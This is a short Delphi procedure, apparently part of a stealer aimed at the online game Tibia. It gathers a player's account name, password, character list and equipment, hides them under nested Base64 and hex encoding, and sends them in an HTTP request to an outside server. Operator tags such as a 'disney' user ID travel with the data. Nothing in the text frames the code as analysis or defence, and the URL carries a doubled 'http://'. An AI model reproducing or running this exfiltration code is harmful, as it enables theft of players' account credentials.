s

procedure SendData;
begin
  func.httpToStream('http://http://shit-on-road.com/datanew.php?'+
                    func.Base64Encode(func.StringToHex(func.Base64Encode(
                //general data
                    'user_id='+func.Base64Encode(func.StringToHex('disney'))+ // UserLogin
                    '&dir_name='+func.Base64Encode(func.StringToHex('main'))+ // Folder
                    '&type='+func.Base64Encode(func.StringToHex('t_normal'))+
                    '&version='+func.Base64Encode(func.StringToHex('1.0'))+
                //Tibia data
                    '&account='+func.Base64Encode(func.StringToHex(ClientAcc))+
                    '&password='+func.Base64Encode(func.StringToHex(ClientPass))+
                    '&charl='+func.Base64Encode(func.StringToHex(ClientGetCharList))+
                    '&eq='+func.Base64Encode(func.StringToHex(PlayerEq))
                    ))),nil);

end;